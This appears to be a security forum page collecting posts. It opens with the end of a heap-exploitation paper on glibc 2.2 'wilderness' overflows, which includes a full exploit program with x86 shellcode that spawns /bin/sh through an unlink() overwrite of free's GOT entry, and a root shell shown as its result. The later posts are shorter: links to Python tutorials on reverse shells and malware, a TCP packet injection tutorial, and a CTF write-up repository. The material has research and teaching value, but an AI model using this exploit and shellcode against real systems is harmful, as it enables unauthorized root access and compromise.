|FFFFBBBBDDDDDDDD...DDDDDDDD|SSSSWWWWWWWWWWWWWWWW...| F = The fwd pointer for the call to unlink(). We set it to the target return location - 12. B = The bck pointer for the call to unlink(). We set it to the return address. D = Shellcode and NOP padding, where we will return. S = The overflowed size field of the wilderness chunk. A value of -4 will do. W = Unimportant parts of the wilderness. We're now ready for an exploit. $ gcc -o wilderness3b wilderness3b.c $ objdump -R wilderness3b | grep free 0804962c R_386_JUMP_SLOT free $ ltrace ./wilderness3b 1986 2>&1 | grep malloc | tail -n 1 malloc(1020) = 0x08049a58 /* START exploit3b.c */ #include <string.h> #include <stdlib.h> #include <unistd.h> #define RETLOC 0x0804962c /* GOT entry for free */ #define RETADDR 0x08049a58 /* start of 'second' buffer data */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc, char *argv[]) { char *p, *payload = (char *) malloc(1052); p = payload; memset(p, '\x90', 1052); /* Set up the fwd and bck pointers to be unlink()'d */ *(long *) p = RETLOC - 12; p += 4; *(long *) p = RETADDR + 8; p += 4; /* Jump 12 ahead over the trashed word from unlink() */ memcpy(p, "\xeb\x0c", 2); /* Position shellcode safely at end of NOP sled */ p += 1020 - 8 - sizeof(shellcode) - 32; memcpy(p, shellcode, sizeof(shellcode) - 1); p += sizeof(shellcode) + 32; *(long *) p = -4; p += 4; *(p) = '\0'; execl("./wilderness3b", "./wilderness3b", payload, NULL); } /* END exploit3b.c */ $ gcc -o exploit3b exploit3b.c $ ./exploit3b sh-2.05a# - ------------------------------------ - ---- A word on glibc 2.3 ----------- Although exploiting our examples on a glibc 2.3 system would be an interesting activity it does not appear possible to utilize the techniques described above. Specifically, although the fencepost code exists on both platforms, the situations surrounding them are vastly different. For those genuinely interested in a more detailed explanation of the difficulties involving the fencepost code on glibc 2.3, feel free to contact me. - ------------------------------------ - ---- Final thoughts ---------------- For an overflow involving the wilderness to exist on a glibc 2.2 platform might seem a rare or esoteric occurance. However, the research presented above was not prompted by divine inspiration, but in response to a tangible need. Thus it was not so much important substance that inclined me to release this paper, but rather the hope that obscure substance might be reused for some creative good by another. - ------------------------------------ [1] http://www.phrack.org/show.php?p=61&a=6 [2] http://www.phrack.org/show.php?p=57&a=8 [3] http://www.phrack.org/show.php?p=57&a=9 [4] http://gee.cs.oswego.edu/dl/html/malloc.html [5] http://www.memorymanagement.org/glossary/f.html#fencepost - ------------------------------------ -----BEGIN PGP SIGNATURE----- Note: This signature can be verified at https://www.hushtools.com/verify Version: Hush 2.3 wkYEARECAAYFAkA6PcsACgkQImcz/hfgxg0F0QCeOJsU+ZFJ+d+Cg0g5lpSio11QGqQA n3z6846AfkvZ3/BXqUGmciT4Brvw =k/EC -----END PGP SIGNATURE----- Sursa: https://www.thc.org/root/docs/exploit_writing/Exploiting%20the%20wilderness.txt
  23. This tutorial series is designed for those who don’t come from a programming background. Each tutorial will cover common use cases for Python scripting geared for InfoSec professionals. From “Hello World” to custom Python malware, and exploits: 0×0 – Getting Started 0×1 – Port Scanner 0×2 – Reverse Shell 0×3 – Fuzzer 0×4 – Python to EXE 0×5 – Web Requests 0×6 – Spidering 0×7 – Web Scanning and Exploitation 0×8 – Whois Automation 0×9 – Command Automation 0xA – Python for Metasploit Automation 0xB – Pseudo-Terminal 0xC – Python Malware Sursa: Python Tutorials ? Primal Security Podcast
  24. [h=1]TCP Packet Injection with Python[/h] [h=2]TCP Packet Injection with Python[/h] Packet injection is the process of interfering with an established network connection by constructing arbitrary protocol packets (TCP, UDP, ...) and send them out through raw sockets it's used widely in network penetration testing such as DDoS, TCP reset attacks, port scanning... A Packet is a combination of IP header, TCP/UDP header and data: Packet = IP Header + TCP/UDP Header + Data Most operating systems that implements socket API supports packet injection, especially those based on Berkeley Sockets. Microsoft limited raw sockets capabilities to packet sniffing, after Windows XP release. This tutorial is implemented on Unix-Like operating systems. [h=3]TCP Header[/h]The TCP protocol is the most used transport protocol in the world wide web, it provides a reliable, ordered and error-checked delivery of a stream of bytes between programs running on computers connected to network. 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Port | Destination Port | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Acknowledgment Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Data | |U|A|P|R|S|F| | | Offset| Reserved |R|C|S|S|Y|I| Window | | | |G|K|H|T|N|N| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Checksum | Urgent Pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | data | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Sequence Number (32 bits): the sequence number of the first data byte in this segment. if the SYN flag is set, the sequence number should be the initial sequence number (ISN: usually 0), and the first data byte in the first data stream should be ISN+1 (1). Acknowledgment Number (32 bits): If the ACK flag is set, this field contains the value of the next sequence number the destination machine is expecting to receive. for every packet contains data is sent, an acknowledgment packet should be received, to acknowledge that the last packet is successfully received. Data Offset (4 bits): The length of TCP header by providing the number of 32-bit words. this indicates where the data begins. Reserved (6 bits): Usually cleared to zero Control Bits (6 bits): ACK: Acknowledgment packet SYN: Request to establish a connection RST: Request to reset connection FIN: Request to interrupt (close) a connection PSH: Informs TCP that data should be sent immediately (Useful in real-time applications) URG: Urgent Pointer field is significant Window: The number of data bytes you can send before you should stop and wait for acknowledgement Checksum: used for error-checking of the header and data Urgent Pointer: If the URG control flag is set, this field is an offset from the sequence number indicating the last urgent data byte This feature is used when some information has to reach it's destination as soon as possible. Articol: TCP Packet Injection with Python | Python for Pentesting
  25. [h=1]CTF write-ups[/h] There are some problems with CTF write-ups in general: they’re scattered across the interwebs they don’t usually include the original files needed to solve the challenge some of them are incomplete or skip ‘obvious’ parts of the explanation, and are therefore not as helpful for newcomers often they disappear when the owner forgets to renew their domain or shuts down their blog This repository aims to solve those problems. It’s a collection of CTF source files and write-ups that anyone can contribute to. Did you just publish a CTF write-up? Let us know, and we’ll add a link to your post — or just add the link yourself and submit a pull request. Spot an issue with a solution? Correct it, and send a pull request. Link: https://github.com/ctfs/write-ups
×
×
  • Create New...